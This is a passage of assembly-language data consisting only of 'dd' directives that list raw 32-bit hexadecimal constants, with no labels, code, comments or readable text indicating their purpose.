dd 0A8408FEDh, 30BD7F6h, 3B18A0Eh, 0A1030454h, 0BAE8B079h
dd 0A8EBF083h, 1E7E00C9h, 2EA57120h, 8A02CEEDh, 0F00ADE61h
dd 2F74405Ch, 5D9C04E4h, 0C38B18A9h, 420044E7h, 5F68C40Eh
dd 0BF2FEEh, 0A1860869h, 325CF72Dh, 1905F000h, 3C7E3582h
dd 785FEADBh, 4E8F0EE0h, 4AE06D84h, 560B448h, 83924201h
dd 0F1EF88DEh, 0BD98F8h, 0DC74C523h, 8496E178h, 52C63Ch
dd 0F7A0312Fh, 0C244D7h, 5631AC4h, 175C069Ah, 7882070Ah
dd 8300D8DEh, 592E8AF7h, 64251434h, 0B526F027h, 0B09F0361h
dd 5F887501h, 240098CAh, 0A16CFD2Ah, 1F0682D4h, 98AC0B08h
dd 0BE0D10A2h, 4BE3DB03h, 79225DA6h, 6E993080h, 13652D68h
dd 2C0E0A7Ch, 62852976h, 8007D264h, 0BDA1C88h, 0AE4D00E2h
dd 0FDE59FE8h, 470F0972h, 80239E9Dh, 3D8AD622h, 0D0E850BFh
dd 0A7763BD1h, 0CA82CC80h, 255DCE1h, 0F7749904h, 3C813D89h
dd 0BACC10A8h, 70EC4844h, 8E49D983h, 0A6C6D800h, 0FC57BEC8h
dd 0DA5500EBh, 3895D0ACh, 0E82E397Ah, 0FF001FC4h, 3CB3C6CCh
dd 0D05450ADh, 0BAA90020h, 8B438C34h, 20B00C1Bh, 0F452570Ah
dd 0A0CD4B8h, 8570F6h, 75FC726Ch, 9D2BA116h, 8D9AF71Eh
dd 17EF0280h, 0CF7608h, 1650065Ah, 485FD569h, 1E82F900h
dd 6484D8FEh, 26130040h, 0A0541C3Eh, 5C24DAC3h, 6D004C56h
dd 0CCEC0374h, 5143D09h, 3F522200h, 0D30678A0h, 187ED77Bh
dd 0F1A7AE0Fh, 1B8200Fh, 6F9825h, 6A40DC4Ah, 2C97337h
dd 0D38D7F00h, 25F91539h, 0EAFF003Eh, 0E0D0C365h, 7490B972h
dd 9871C900h, 0FB6457F2h, 1FC4A8E5h, 0C07903E1h, 0AA92440Ch
dd 30BBF3C9h, 0BF00C8C1h, 0CA8D82C5h, 604554h, 956197E0h
dd 0F8D93C55h, 6603C91h
dd 428B0Ch, 0D18CDAB0h, 0FFB1525Dh, 0C4AC5A51h, 0D500C79Fh
dd 9A0E1B84h, 0EAE0EF43h, 1E5F43Eh, 11346C49h, 0E02E1D06h
dd 741216A2h, 7440BB07h, 0D60DE82h, 4DB900D6h, 0CF618B55h
dd 0E0C6C24h, 0D0855F01h, 20EB1C15h, 52AFC7C3h, 0D78009BFh
dd 762E7005h, 0E0DFE512h, 3CDA4F00h, 1AD6E9Dh, 3D07E9AEh
dd 2030F3DCh, 0E10052B4h, 2F57F02Dh, 60A46DF7h, 627A1832h
dd 0EB04C45Ch, 0C8742382h, 0F187A680h, 545E26A5h, 0ED2C00CCh
dd 0E7FE2826h, 0BCD2AC07h, 0E0C10756h, 0C2F9B06Dh, 48D387D4h
dd 0D7007165h, 0A6A86375h, 860022DEh, 0C43B0E68h, 0EB7385Ch
dd 803279E3h, 0BCC145E0h, 1900AB76h, 0F033A1B1h, 0FF42AEDBh
dd 0A4ADC30h, 2CFBF7BFh, 749400DCh, 0DEAA476Ch, 51B85Ch
dd 90CC8A2Ah, 7D4838Fh, 0AEF51881h, 0A5AC00EAh, 43004EEFh
dd 0FB363779h, 99EF856h, 0BDAFA141h, 1D6AB680h, 0F6B0D9F9h
dd 0F30016F8h, 87563499h, 9BEC9Ah, 4B092A67h, 0BF1BA607h
dd 0EA0D4A0h, 77983800h, 1AA53B43h, 0CA62046Eh, 8020F399h
dd 68C67E74h, 1D00E890h, 3D558886h, 61D6D1h, 0FFA115F2h
dd 1A21870Dh, 9B7C3E1Dh, 7B9AB040h, 76CE05h, 0C12D9DCBh
dd 0D1C822A2h, 0BC2B5A26h, 31A31806h, 0D55F1C29h, 24014E48h
dd 56193C01h, 0AA43DC5Ch, 80966000h, 69711DACh, 0A75F006Ch
dd 7626C93Fh, 21007C08h, 0D934251Bh, 9C0D52h, 0EA73292Bh
dd 0F14B56B7h, 0D7DDAAA0h, 79F0477Fh, 1AA9A200h, 91B6D16Ah
dd 7BB4004Eh, 0BDB86299h, 0CB17DE52h, 0CC003BE3h, 9F321F42h
dd 5AC80093h, 56B57D83h, 6200ED61h, 0F34AD16Bh, 78D6D8h
dd 3F6E288Eh, 0A8F8F9E9h, 902B4716h, 0CCD8D440h, 0B9C89Dh
dd 6A395BAh, 0A2D1C246h, 0A500A8B8h, 51664EBh, 76B2D3Fh
dd 4D144A82h, 0A3EAB05Ch, 7F0FF2BAh, 40AF1586h, 0C6301019h
dd 0D3F1007Ah, 79C85120h, 0A403B5EEh, 382F3C1Ch, 687828EAh
dd 395B07E4h, 603BC99Fh, 0FEB80818h, 3E99B8F1h, 3F5C5D20h
dd 91BF0EBEh, 0A5063DB0h, 0F018B9D2h, 3AF8A8h, 11479D2Fh
dd 0AED47739h, 0D0BC9C00h, 5C8E58B6h, 873800E6h, 779286E8h
dd 1D6F30FBh, 985B0758h, 0C0B8880Ch, 0FB723750h, 21C10675h
dd 7ACB983Bh, 0F6E1C34h, 95A8C367h, 0B89790B8h, 0A58F850h
dd 715BDE1Ch, 5CAE14h, 6A2F5090h, 72DCC86h, 3D63E3D9h
dd 0FDEA802Ch, 8C07CDC2h, 0BC382689h, 0D4C0AAA7h, 0FADDD231h
dd 7E2E0EDAh, 0FA0ED79h, 0C8698A10h, 4D585E00h, 2A575534h
dd 0D1BD0011h, 0B3CF513Ch, 76048A15h, 0FCEFD70h, 1345BAC0h
dd 900304BEh, 0C0A9A540h, 1E10BC0h, 0AF60CC1Dh, 0A7330287h
dd 5D7D600Fh, 0E045FEh, 44654CC7h, 93BDF2EFh, 5A78AD00h
dd 6F69384Ah, 3C498B9h, 58A233D1h, 40857B40h, 10DC9F90h
dd 0B93F345Dh, 0D6007B0Ah, 24608674h, 93E054h, 0EF6E8D36h
dd 6267F87Dh, 17A5370Dh, 77214178h, 1B4D9C10h, 8E3E07ADh
dd 90F845F0h, 7D5F131Eh, 0A6D9BF00h, 8851A13Bh, 0BCF250B2h
dd 0C85E0049h, 9A55147Ch, 3B1D7EACh, 4A40C942h, 0FF62EE99h
dd 24E73E91h, 0BD2E7A01h, 0B88BE06Ah, 0E81D0040h, 0EA89F9EFh
dd 974602C1h, 25AD10B0h, 5060488Eh, 4CFD7A3h, 0F6AB700h
dd 0D2A0EB07h, 7AB8019Fh, 0BA1E5DE0h, 0D3F131FFh, 0EED1E2D0h
dd 90BF2E30h, 7C413B62h, 9CAD0CC0h, 85593625h, 8EE8A00h
dd 671E02D6h, 0DB3B00A3h, 0F7E9BA66h, 0F5007FEDh, 9C81EEEBh
dd 15866CBFh, 98D31CA5h, 0B9B37C08h, 0CA0CA420h, 11A29011h
dd 1CF100B1h, 72888BFh, 360315D3h, 0C7AA0A56h, 78B0909Eh
dd 0B5863D8Dh, 206FB900h, 85D5B237h, 80E6BA38h, 3AD98E8Ah
dd 726275h, 91411FE0h, 9CC9828Bh, 0A35C5704h, 4507C55h
dd 0E2260CBAh, 0F641071h, 3CDDC1DAh, 6A7509E0h, 1600F1EBh
dd 0C33EEF50h, 586C7h, 9C33A379h, 0EA0191FAh, 58694200h
dd 7263A5D3h, 3B8C0099h, 12C1220Bh, 26010C74h, 572A8AF7h
dd 0E0CC49D7h, 32AB1659h, 0E03EFEFh, 0D8FB6E21h, 0E4974Fh
dd 0CBEBE213h, 14284EAh, 475CE900h, 539321BAh, 6BF218h
dd 582D3E0h, 0D7FAFE96h, 6D0099F6h, 3DAA489Bh, 0C19F20h
dd 75BE335Eh, 0DD4E5032h, 874C5B00h, 5DC98BB8h, 7A0F0014h
dd 0FBD9FDD1h, 0A400A727h, 0E407886Bh, 0F716F58h, 0EB63B41Fh
dd 8A6E003Fh, 0B353F18Bh, 3795AE00h, 0B9FFD750h, 12364838h
dd 0BCF6AA0Eh, 0D03B4D06h, 0DEDD0F00h, 0CCD4BE17h, 0E2987Bh
dd 9B56EAFDh, 5C412C92h, 8004C73Bh, 8AB993E3h, 0C04490h
dd 748268Ch, 91957E74h, 2565C0Ch, 32F093h, 0D42FAD73h
dd 7EB941A6h, 0D9E41754h, 340D1430h, 0AC1F45h, 0D4783AFCh
dd 14C2693h, 400E6Fh, 79769B1Eh, 54FB1D38h, 0F863405Ch
dd 4853EF1Fh, 0C49DF101h, 842549C2h, 1024C7D9h, 14D77F3Bh
dd 0DC5AE156h, 8D3F0A00h, 0F72280Ch, 8A44E200h, 0AA22A47Ch
dd 679F1F1Fh, 593B3F17h, 8F859681h, 0F0A3714Dh, 82001B08h
dd 8830B4B9h, 746CBC1h, 0DFD3A4E9h, 5704F00Ah, 1112E166h
dd 220FC980h, 397FE0ADh, 6D05E9h, 0FC0546Ch, 79121E6Ah
dd 290027FAh, 0A4CE4C10h, 322C18h, 0D14D7321h, 1D349E38h
dd 7201E900h, 5444173Ch, 5E7D014Bh, 0C98A55CDh, 0F085712Bh
dd 9603ACB5h, 7662E36Ah, 95E8E02Ch, 286773BAh, 5484CE0Eh
dd 294C38h, 7555BCAAh, 0B8362A6Bh, 0ED006C7Dh, 0E7FEE94Ah
dd 1D2F0A17h, 80B34681h, 0F04298EBh, 840A7CCBh, 0A8D59571h
dd 8137A840h, 8A1D01F9h, 7451042Eh, 0EE57F176h, 0CAB3D040h
dd 154BBD00h, 342E02A5h, 40770027h, 95EE3F59h, 1701BF20h
dd 0B852DDAAh, 0EC40FC3Bh, 7E6E316Ah, 2B730625h, 0F029B7FDh
dd 13610200h, 0C02C4838h, 0CDD70028h, 0B0ECD43Dh, 17B821B1h
dd 56265400h, 468B8840h, 69890B5h, 0E5C37A6Ah, 1500115Eh
dd 53230468h, 3C1A8E90h, 18C88408h, 4BD76C80h, 2500E951h
dd 99DDF135h, 0FE946Eh, 7F66A9FCh, 227249DBh, 713A3B00h
dd 82EC8345h, 1CD4E913h, 6A69384Ah, 0B78FAF01h, 0ED4C7E98h
dd 9FC4C0AEh, 0FC485800h, 52412179h, 7933F2D1h, 0EBAE0FF2h
dd 0BAE0C825h, 3E9BFDF3h, 0EADD9A00h, 4A4F1B2Ch, 10A66085h
dd 17C00137h, 3C2BF600h, 2E697FA2h, 0A71431B4h, 0C513C920h
dd 0A65AF4FAh, 3378AF0Ch, 0A170C4h, 359BFF1Dh, 5326ACA5h
dd 2895F00h, 50FCDE03h, 72E0274h, 414B9A9Ch, 807DA484h
dd 5BDF21D0h, 80661C3Eh, 743FF62Ah, 8E4B14h, 3E566AEAh
dd 733BEF27h, 16680463h, 0F1F32Ah, 1E89D928h, 5C150292h
dd 375A48h, 9413C6D4h, 0C0653F8h, 9A896DEh, 73036C59h
dd 2EFD3930h, 7B51001Dh, 2DA1C527h, 2F0CBFEBh, 61FB2635h
dd 0FC8400DEh, 0D85D429h, 7492FD3Ch, 5FFB6C13h, 99BD3040h
dd 0A0D3EB81h, 128590h, 634F3B1h, 76CBBB3h, 498AF000h
dd 7B98D05Dh, 8B0F3C36h, 24FBD700h, 25DCB962h, 0D219A700h
dd 0A965D902h, 726730BCh, 0C758C928h, 6B3439h, 791C9436h
dd 60DCD578h, 8AE2809Fh, 0C012EE3h, 0D63B7A6h, 0BFF0D21Bh
dd 0FB560CEFh, 0AF9801C2h, 71F2C100h, 583D7B59h, 52F7072Eh
dd 80E5ECh, 4DF109A2h, 0D536DD00h, 7D9D9197h, 0D6480042h
dd 0B84C60Eh, 0E4003DC9h, 49F933A8h, 189DCC3Bh, 6061EE86h
dd 0AC791A18h, 10663A31h, 31C00DF8h, 91430005h, 0F076A56Dh
dd 0B500582Eh, 0B19A3C5Eh
dd 3E5BBBh, 100B776Fh, 24480EE6h, 5A9FEF2Ch, 75969100h
dd 0E88B443Ch, 1D01F2Bh, 9E5C4045h, 7854FE8Ch, 3B763Dh
dd 3A885285h, 0AB3464h, 0A13D4C56h, 0E08C1D1h, 0B2860600h
dd 8E3C1C5Eh, 0A261007Fh, 32E0A929h, 9700B8BDh, 6A570874h
dd 0E2909Dh, 9AAFB525h, 2C681A30h, 3D82B000h, 4CD3364Ah
dd 2F6200BEh, 763B81A6h, 0EE0060AEh, 0CCA3F605h, 0C70BCEh
dd 0FC80ECE2h, 44C88110h, 0A435C32Eh, 45CC2A04h, 6F4790D1h
dd 3B26F7DCh, 840079F6h, 0FC448A65h, 320F24C5h, 0F2522Fh
dd 0A745862Eh, 8260007Eh, 443EE0Dh, 817266Ah, 54408F47h
dd 0D6923ECCh, 44524C4Ch, 92FA000h, 2B0A83C6h, 87182400h
dd 627BE9B0h, 6FCF075Ah, 51B3F7BDh, 0FC929E1Eh, 18053F16h
dd 0AE4AF0EAh, 0ACB800BBh, 9D973704h, 77E45300h, 0C7597EC2h
dd 62500DEh, 0D4F3983Ch, 2C064065h, 70F52E68h, 86892E91h
dd 0CA6B80A0h, 526858F8h, 23E821E8h, 0E5B11918h, 493B0121h
dd 7703A498h, 70ADE688h, 0E8C408Fh, 5600134Eh, 99EBC8D9h
dd 3F122E7h, 0C7756131h, 0E9E0D897h, 950B934Eh, 6A471ECh
dd 9058695Ch, 0FDF80A92h, 3065E4h, 47B62144h, 0BEE49050h
dd 9D839A1Eh, 119F3500h, 0F567C5h, 7BBD4608h, 0FD4465B5h
dd 0DCCA2426h, 90009EA4h, 71D8459Fh, 7C6A9089h, 0DC0600C5h
dd 8C403A81h, 0C400EA7Eh, 71217C35h, 0E4E3C303h, 0E29F3DA7h
dd 0B97FFC00h, 5741E1AEh, 891B2F00h, 6F016BD8h, 71AF00B7h
dd 2DBC1078h, 0B100E113h, 2F865EAEh, 506723h, 3B51943h
dd 0BCDD90A4h, 0DEAC9400h, 0FBEECB99h, 7DD80016h, 35200E18h
dd 2100BA2Eh, 7A5AC30h, 0F3412Fh, 7DE4FBB1h, 0B6CFC64Dh
dd 793B48h, 0CE3A7079h, 22A953h, 4A49BEEAh, 0ED269FCDh
dd 0E4839CA8h, 5389F00Fh, 386A4001h, 79EEB51Eh, 21FE07Bh
dd 59A38B98h, 4A6519h, 0F0209A62h, 898FD373h, 81C4253Fh
dd 42AED78Ch, 0C821C31Ah, 579C618Eh, 55470102h, 0BD19ECC0h
dd 0DA80E802h, 0A3CFC350h, 12EE21C0h, 0BA4531h, 0AE62C160h
dd 27000FE2h, 0A7728DDAh, 0A9DE90h, 2D88F25Fh, 67CA6E58h
dd 91EDD530h, 78111F0h, 8822C4B7h, 65904052h, 267D07E4h
dd 0ACBA6013h, 0E5990818h, 0E88F5A91h, 1FB807EBh, 18509DCFh
dd 39542BBCh, 471848F2h, 0E70A999Bh, 0DC011978h, 584B246Ah
dd 7980EBD5h, 65BA8C53h, 71000D4Eh, 1F9EBB70h, 31AD69CEh
dd 64716B90h, 28A9D8FEh, 8504972h, 97004DC5h, 82450AD2h
dd 62F028Fh, 3FB32BDEh, 920079EBh, 89E987DBh, 1FE5A5D2h
dd 9EEC70h, 0BE5394A6h, 44986C59h, 0F1ED927Eh, 0B965E09Fh
dd 0A0409E60h, 0BDF8AE1h, 0C818A24Bh, 0DB221A80h, 0F03E25AFh
dd 0A5280027h, 0B9C34FF5h, 62D93AF1h, 30E5779Dh, 1FE00430h
dd 687D2E79h, 0BE786F03h, 0E8F75414h, 0F517A94h, 0D3E93392h
dd 90B57EE0h, 0AAE8430Eh, 0C6AD3600h, 5A9A9F64h, 0CAF603FEh
dd 14D8E3F9h, 0F162880Ch, 0E1808D0h, 7BB75F8Dh, 0FFE3EC40h
dd 5006EEF9h, 9A9B3907h, 32760F40h, 35E4FE58h, 7593401Bh
dd 0EFF26E22h, 803F4980h, 392F6B1Ch, 0C61D3600h, 4DBC88D5h
dd 785F0C4Eh, 89D9E677h, 3B112803h, 0B8B34AD3h, 36352ACh
dd 84C59460h, 7EF84538h, 0C3008709h, 5499F57Ah, 0E01C55h
dd 77C2E4E3h, 6D381863h, 0D050D861h, 998E0A54h, 0CF40F543h
dd 0E97388E0h, 0D333B200h, 0DB8235C2h, 6EFB1DE3h, 0D6270221h
dd 4B53F42h, 461C5414h, 0AAC3BA04h, 10005DF4h, 0DDB23048h
dd 168A536Eh, 44D1DCh, 9EA78BB5h, 0CD011F0Dh, 0E0A191D5h
dd 7CCFE8C0h, 0F0150049h, 0A579FFDBh, 0E3F8DA36h, 0C9664100h
dd 4F9555B8h, 0D84E00D6h, 0A2DF7D17h, 5E6FC0CCh, 8845A380h
dd 4CC48854h, 3EB33EA9h, 2ED10F7Bh, 1D43EC1Eh, 207C2C58h
dd 0AD3A030Ah, 3E782071h, 62188C38h, 0BEA9C226h, 5ECF008Fh
dd 0E1BA804Ch, 8600584Fh, 3961772h, 0A83D636Bh, 185F078Ch
dd 11345A6Ch, 45017E14h, 0AF7DE3A6h, 25E4B396h, 0CE350F91h
dd 0EC06C242h, 6F2A905Ch, 7070AC6Eh, 2A20F300h, 366EFF2h
dd 579D13DBh, 0A65E007Fh, 0E7B14F8Eh, 98E3A03Ah, 0FD39686Fh
dd 7FEA1Ch, 13D949Dh, 0E65E37F3h, 0BDD43000h, 0DDCAC107h
dd 0C2130AD2h, 9EE4D0A7h, 0D467405Ah, 9CE759EBh, 0DD916667h
dd 7DBEBF00h, 0E8100795h, 0C026A67Ah, 0BBCDBC86h, 1541CC60h
dd 0F11A2Ch, 8749A33Dh, 11678AF0h, 0DA37C902h, 64DDC0E1h
dd 8D380004h, 0DC56AEEFh, 321836BBh, 4F62BCC1h, 0CF2430F6h
dd 7F70B529h, 3C4A9400h, 879918FDh, 0BC954E59h, 0F0796159h
dd 318FE421h, 407D88BDh, 45441540h, 0ECA3D39Ch, 5DCBE810h
dd 94546F3Ch, 0D56E0F7Ah, 0E3C03464h, 0BD3813D0h, 0CE454C07h
dd 6360CA8Dh, 0F25087h, 19C0FA2Bh, 4A8A15A6h, 5438F014h
dd 28420A24h, 5F80F457h, 3125F15Dh, 96DF0E67h, 6B80D9CAh
dd 0A54BCC66h, 60ECB13Dh, 0AB3413E8h, 4EE80A1Dh, 43B89D4Dh
dd 35B18239h, 93F5ECDCh, 0EDCC5F1Fh, 0CAEA2306h, 902A5298h
dd 6E646A00h, 3F96F2A7h, 0A0BD9C09h, 6D0C215Dh, 4102950Fh
dd 0F8CFD020h, 2BB80084h, 53F2D5C9h, 5F0A4C20h, 0A8C29DF0h
dd 2A1AF598h, 0D2E03Eh, 2CCEA0AEh, 0AFC9FB5h, 68E190A0h
dd 0AE144388h, 0F5F208F4h, 1803124h, 36B20B86h, 0D7471CB4h
dd 83B0C302h, 19E05765h, 37E24598h, 0EF151E00h, 0BB2FA9A2h
dd 34089031h, 30C0C52Ch, 0ED9DF5D8h, 0E47B9E2Ch, 0C120F020h
dd 4897484Ah, 79E52118h, 0A638B2FCh, 6F230DB5h, 3BE8416Ch
dd 0E385034Ah, 0C2408151h, 0DB3AB9C0h, 480C3500h, 0D082F345h
dd 0F9BBFACAh, 0AF61824h, 0C19D1DAEh, 0B2F48090h, 0D5E4BBACh
dd 8F207400h, 9B240E50h, 7E400F45h, 9D0A54Ch, 204F2BA9h
dd 981FCF0Ch, 0AA170096h, 0EE5D4756h, 57192CBEh, 3AA1594Dh
dd 905E7C48h, 989276C8h, 4D261888h, 0CDA22969h, 25F9CE14h
dd 9D810078h, 8C3A8AB5h, 3DBD0178h, 2834F764h, 5E818722h
dd 19D0EF6Eh, 1C77D7D0h, 7EF6EC56h, 8E379600h, 4BA23806h
dd 0C783B100h, 3634FDDh, 8ECA464h, 0CEC2C0F0h, 54B4BEBAh
dd 4B48C190h, 724780ECh, 3098BC9Fh, 21213D9Dh, 867AD879h
dd 4EAB900h, 0BB7A9C3Ah, 7DE9050Bh, 7222FEECh, 39276BF8h
dd 0A2209DC0h, 6C7E2Fh, 0CAD5D7F8h, 4CB8DB0Fh, 0B4793E28h
dd 586418A0h, 6C67C600h, 26E75E5Dh, 0A3FCA440h, 2FA10777h
dd 40F13068h, 0D01C755h, 0DCC0E50Ah, 0B80E6CCAh, 0F60190CDh
dd 64C961B9h, 69406408h, 3C9A2BECh, 19C20700h, 0BE5B1493h
dd 12FCAC43h, 23B1CD9Eh, 338BC120h, 3828611Dh, 73D90020h
dd 3C7B788Dh, 1A00D0CBh, 1CB0AB5Dh, 0FC02C249h, 7C9168h
dd 0C6E75C25h, 2E0414AFh, 3C87F0D1h, 0C5BEC203h, 0CA6F6918h
dd 955EC31h, 4C699D0Eh, 0DFC10498h, 974CD4A4h, 7891E0h
dd 0DBFBE122h, 48AF91BBh, 9F218815h, 1425B816h, 59FB0C70h
dd 13A179A5h, 723B3CA9h, 0CC20CE54h, 1C6967D8h, 8441BA16h
dd 9823EB7Fh, 0C3609C70h, 0E1BEE761h, 5AC800B8h, 220BFC4Bh
dd 0D5015255h, 4198906Fh, 0D0605F44h, 24282A13h, 0CEF700A8h
dd 0CC6816DFh, 0C53B74FAh, 89923AABh, 8544ECACh, 0B8903C5Ch
dd 0C0202BA2h, 47B10339h, 4DEC1997h, 0EB507A00h, 64B024DFh
dd 0F21D4896h, 57C39105h, 0D618D048h, 151519A5h, 29A8CF68h
dd 6400F02Bh, 5B0451A6h
dd 1602008Eh, 0FABCD226h, 9416F639h, 30A0A7h, 60426B7Ch
dd 0EF8C8935h, 0FA06C36Dh, 312ABD19h, 33D50119h, 6FC780A2h
dd 0E404040h, 1B7278E8h, 9AD5A000h, 961694E1h, 90B50040h
dd 0D2155CDBh, 5A48FFF0h, 0B9381214h, 0C42A9832h, 9AE60298h
dd 3631C995h, 10C8A061h, 22B6783h, 926D01BAh, 0A0841897h
dd 30364B10h, 0CBC7C64h, 5C455742h, 2A52A3A1h, 52C400CCh
dd 8168FA36h, 82E50E6Fh, 71E76959h, 9DF81284h, 0F0E2464h
dd 0C588CF21h, 880127Dh, 0FF82504h, 1497BD2Fh, 0CA44A260h
dd 40563E38h, 4C159370h, 50422C70h, 0C4AE6F1Fh, 11BE5C63h
dd 14CA56B0h, 4106569h, 4016E611h, 0A42B1898h, 865C0498h
dd 98C56768h, 1E17AFF8h, 7E8F4C0h, 0C1823458h, 2C66E4DCh
dd 0EED744h, 5AF25726h, 0F78F49BDh, 19A92Eh, 10EF5B60h
dd 7B0F02ECh, 0BC6C3BDBh, 5FF08880h, 0CF0BD151h, 168BDACCh
dd 48300F80h, 0CC34E4B1h, 0A9C00848h, 4EEC9B72h, 0D900DCACh
dd 2FD3AB31h, 941491D4h, 407413Ch, 3839E46Ah, 0D167FE1Ch
dd 0B72D16C0h, 9FCB74h, 9776C206h, 19966390h, 5A29090Ch
dd 4021A0F7h, 5C0107D3h, 26263A3h, 4027439Fh, 0BEF23122h
dd 3C523A00h, 829B05BBh, 1AB7062Ch, 0F4F455C2h, 0AAF5E300h
dd 0D4597563h, 84645149h, 0E54457F0h, 282BB194h, 99129D00h
dd 53851EBh, 0F1096700h, 9A13606Bh, 0FBE51393h, 0AC6C04DDh
dd 230CA52Eh, 0A8262C6Ch, 0C07FFF40h, 0CE3E877h, 3E444A8Fh
dd 9D756D30h, 4514F0A8h, 0EDCB7300h, 4E0D0935h, 12C301BBh
dd 0C7DC0ABEh, 1CA3D84Ah, 9C723A07h, 90BBC2BAh, 0F1E1FDCh
dd 0A97D8750h, 0CC914A89h, 3CA03640h, 0A03CA568h, 8E165028h
dd 9BE316C6h, 25B03043h, 2C0FB644h, 0A07C9668h, 86CEB3AEh
dd 0B9BD043Dh, 0A3B49141h, 0E8C10D08h, 0A0237137h, 411F500Fh
dd 0EAC78400h, 64745F17h, 45E6861Ch, 10037993h, 262BBCh
dd 0CEC97E31h, 0F96FF835h, 157B3300h, 25820DFBh, 203959C0h
dd 9CD18C3Bh, 0BC007C33h, 7F5CE78Bh, 9E040902h, 53322C19h
dd 49BA898h, 0C0F5BB1Eh, 7104C091h, 822547ACh, 0C8149A31h
dd 42E6990h, 6807E742h, 430A4040h, 90EB209Ch, 9D043E51h
dd 276F0297h, 0FBE2F5A0h, 1F0C5D80h, 11BF0956h, 0C6803A2Fh
dd 0DB381844h, 0FA642102h, 53F016A0h, 768C0090h, 9F86684Dh
dd 0FE0171F6h, 6516972Bh, 0B501B353h, 486800E2h, 12E0A42Eh
dd 0C8A0C3E9h, 7700CEACh, 0EC1E9410h, 908A674h, 0F6EB1F30h
dd 0FE18A846h, 0B9B95F6Eh, 0F474FFh, 830588CCh, 0D51CA834h
dd 0B59B6C00h, 7B4A6FF7h, 68290E50h, 707296F5h, 252BBD28h
dd 1CFA88h, 0F1C27645h, 0A9A3B414h, 1BC5591Dh, 0BBCAC480h
dd 1228D9E9h, 60BE7233h, 0F05C5E20h, 2D201460h, 1E946A84h
dd 95BBCD40h, 0CC11FC18h, 7262238h, 0F7E398A4h, 0F00D20F5h
dd 880A9C86h, 784AFB06h, 0B44F6DC4h, 42C15323h, 89AE20DFh
dd 16019E32h, 0D01D20CAh, 43FEC0AAh, 297E4AACh, 0FC6AFCF0h
dd 9CD0CF05h, 9CCCD28Dh, 99396328h, 75A807D4h, 5377ECE9h
dd 9E4163Fh, 994B2DA7h, 600594B0h, 0FA100880h, 0B929100h
dd 0FC4E4DE7h, 17872494h, 245700BCh, 0B14BB9F7h, 0DDC5D701h
dd 71BCF64Fh, 60F22821h, 815E24C4h, 0C10824DEh, 8004D44Ch
dd 0CE14B394h, 0C25D807Ah, 566B2CF0h, 1F589029h, 0BC4F5857h
dd 0F098A4C9h, 4400BC0Ah, 8BDE67BBh, 246970h, 21EF1430h
dd 26F86DDFh, 3C498FF1h, 0A8FFA0ECh, 2C73341Bh, 1F9C7C8Fh
dd 964602DAh, 4C6C3669h, 4C2C6322h, 180889Ch, 7BCBEECEh
dd 8500FDFCh, 0C1299964h, 0EAD724E0h, 2FB2131Dh, 0FF18D19Dh
dd 1205FC33h, 0DE0428E7h, 0E77F00A2h, 2CF04AA8h, 3033D43h
dd 0DFAE777Eh, 5C64B8BAh, 986709C6h, 58E65E5Dh, 0BC0C8D01h
dd 6CF2261Fh, 452BAB41h, 81003036h, 0DDB3CE1Eh, 0D63E8A91h
dd 128C50D2h, 0F4139D70h, 5821BF6Ch, 14734B26h, 66C48891h
dd 64D0252Dh, 105C26h, 0F6A19E50h, 687E0BB3h, 7D970303h
dd 0D8E8CC39h, 914AED4Bh, 2C389034h, 6712E431h, 0AAF6C4C0h
dd 9B7402FDh, 0F7154D8Dh, 248F88C0h, 0BB417B05h, 0FC70BE76h
dd 0A1394E6Bh, 4310CF48h, 40025D51h, 0CB56BE0Eh, 886468h
dd 0F78D8523h, 0B7EE1DD4h, 228BF100h, 275E1744h, 0F4800E3h
dd 7DA44909h, 0F74850B5h, 103422B8h, 1C3624F6h, 0E4470842h
dd 0F9C0DE0Ch, 8E20AEh, 4B345F90h, 4586178h, 4C98915Ch
dd 0B23525EEh, 7F4800FCh, 988D4CD4h, 0E2244862h, 0D7019100h
dd 63E77AE3h, 0D2210A09h, 8B1C3195h, 992813E4h, 0F91C0070h
dd 55CF3744h, 187E8F07h, 6190A966h, 245EA879h, 102059E0h
dd 94C78A80h, 1715C380h, 159AF12h, 7A36BDBBh, 0FC31B732h
dd 895C72F5h, 800BC908h, 53590284h, 0AABE0F63h, 566F162Ch
dd 28D6E68Eh, 384449E8h, 0A050F59Ch, 0F87551CFh, 79052796h
dd 5D686C18h, 70A01096h, 3A3B44h, 381689B2h, 0AF9AC774h
dd 1C20F024h, 0BC826310h, 3161BAFDh, 5C6420E0h, 24CDA388h
dd 0E01C8ACEh, 20AB3508h, 0F923C804h, 78B44157h, 0D458E9CFh
dd 0E8A7896Ch, 74000ACDh, 0C2EF2051h, 2CD49313h, 1FDFB15Bh
dd 4434EED5h, 0ACF3403Ah, 4E3E62Fh, 0F281A750h, 4B04E6FBh
dd 6F4D6840h, 926BFA8h, 81AA43D2h, 8C596CE2h, 2B525E00h
dd 0FFD79D67h, 70F23C61h, 0F8974958h, 892B8084h, 8AFE4088h
dd 411F066Dh, 5340F1DDh, 0EFB3AF02h, 6B3205B6h, 22666F50h
dd 1CCC80BCh, 50141F00h, 850E9E17h, 0FE07E695h, 0A874A324h
dd 0ECF5D0CBh, 124C1F9Ah, 7B480375h, 2688575Ch, 843E3E66h
dd 44151270h, 0A021FC28h, 631724h, 0B717E9Eh, 1D39DB3Eh
dd 0D8D6601h, 0E7454F37h, 3C10E9ADh, 0E97E044Ch, 0D9B98B26h
dd 5D38E707h, 9C1FB040h, 788AE3Bh, 2E19571Eh, 0C8534540h
dd 5A31699Ch, 5626513Eh, 0AA001822h, 0CF4AA6EEh, 9894B9C2h
dd 8C885E97h, 944600BDh, 0FA60B396h, 0E107167Ah, 5FE52D41h
dd 185C6659h, 59466F07h, 11E86794h, 0B4F7571Dh, 764175C0h
dd 0F41A8E4Ch, 80F09440h, 0C21519A4h, 0B8B6374Ah, 2D1F16E0h
dd 5C07F439h, 0E01CDAFh, 0CE088ACDh, 205C76C1h, 59F0C85Ah
dd 98043B92h, 5E09C5CFh, 44B06CE6h, 8A5244h, 0BCC05F8Bh
dd 9A065975h, 72189B00h, 2A62AB2Bh, 88F624EFh, 921EE014h
dd 76017806h, 4F840F55h, 7423EDF7h, 16E89F24h, 6D783043h
dd 0B1006C0Ah, 0DDBA8C70h, 3FB6CFBEh, 45002029h, 18EF5667h
dd 2B4EE61Eh, 96D3501Ch, 913C88Ah, 93BCD025h, 0B501821Eh
dd 0FAB24E0Bh, 6A307A1Ah, 197F444h, 0EF15A369h, 0D4747858h
dd 2A4A666Ch, 947E5844h, 2D0318A2h, 3E02819Ah, 0ADD92FF8h
